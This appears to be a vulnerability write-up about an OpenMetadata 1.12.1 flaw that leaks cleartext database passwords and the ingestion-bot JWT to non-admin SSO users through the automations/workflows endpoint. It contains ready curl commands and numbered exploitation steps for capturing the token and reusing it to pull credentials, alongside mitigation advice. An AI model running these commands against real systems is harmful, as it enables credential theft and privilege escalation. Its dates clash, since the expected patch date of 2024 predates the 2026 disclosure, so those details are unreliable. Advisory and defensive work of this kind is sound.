Listen to this Post
The vulnerability exists in OpenMetadata 1.12.1 when using SSO (e.g., Azure AD) and the database secrets manager (secretsManagerProvider: "db"). A non‑admin authenticated user can trigger a TEST_CONNECTION workflow by sending a POST request to /api/v1/automations/workflows. The request body contains a masked password field ("password": ""). However, the server responds with HTTP 201 and returns the exact cleartext database password inside request.connection.config.password. Additionally, the response includes the ingestion‑bot JWT in openMetadataServerConnection.securityConfig.jwtToken. This happens because the TEST_CONNECTION endpoint reflects the resolved secrets back to the caller without proper privilege checks. The user does not need admin rights; only the ability to open a database service and click “Test connection” in the UI. The workflow is internally used to validate connections, but it erroneously echoes sensitive values. The leaked JWT belongs to the `ingestion-bot` account, which has broad bot‑level privileges. An attacker can then reuse that JWT as a Bearer token to call authenticated APIs, e.g., GET /api/v1/services/databaseServices/{id}?include=all, retrieving full service details including credentials. This is distinct from GHSA‑pqqf‑7hxm‑rj5r as it targets the automations/workflows endpoint, not ingestion pipelines. The issue is exacerbated when secrets are stored in the database (not an external store like HashiCorp Vault). Preconditions include a valid SSO session and a configured Oracle (or any) database service. The PoC shows a regular user obtaining both the DB password and a long‑lived bot JWT in a single response.
Platform: OpenMetadata
Version: 1.12.1
Vulnerability: Credential/JWT leak
Severity: Critical
date: 2026-05-21
Prediction: 2024-12-15 (expected patch)
What Undercode Say:
Extract leaked JWT from response
curl -X POST https://target/api/v1/automations/workflows \
-H "Authorization: Bearer $SSO_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"test","workflowType":"TEST_CONNECTION","request":{"connection":{"config":{"type":"Oracle","username":"user","password":""}},"serviceType":"Database","serviceName":"db1"}}' \
| jq '.openMetadataServerConnection.securityConfig.jwtToken'
Reuse bot JWT to fetch service secrets
BOT_JWT="<leaked_jwt>"
curl -X GET https://target/api/v1/services/databaseServices/{id}?include=all \
-H "Authorization: Bearer $BOT_JWT" | jq '.connection.config.password'
Exploit:
1. Login as any SSO user (non‑admin).
- Navigate to Settings → Services → Database Services → target service.
- Click “Test connection” (or directly POST to `/api/v1/automations/workflows` with
workflowType: TEST_CONNECTION). - Capture the HTTP 201 response containing cleartext DB password and ingestion‑bot JWT.
- Use the bot JWT as `Authorization: Bearer` to call any API with bot privileges (e.g., list all services, extract credentials, modify metadata).
Protection from this CVE
- Upgrade to a patched version (once released) or apply vendor fix.
- Switch to an external secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager) to avoid storing secrets in DB.
- Restrict “Test connection” functionality to admin roles only via network/firewall rules or reverse proxy.
- Monitor logs for suspicious `/api/v1/automations/workflows` POST requests from non‑admin users.
- Rotate ingestion‑bot JWT secrets and database passwords immediately if exposure is suspected.
Impact:
- Full database credentials compromise (cleartext).
- Persistent bot‑level access to OpenMetadata API, allowing data exfiltration, service manipulation, and lateral movement.
- Leaked JWT may have long validity (ingestion‑bot token expiry shown as ~90 days in example).
- Violation of confidentiality and privilege escalation from regular user to bot‑like admin.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
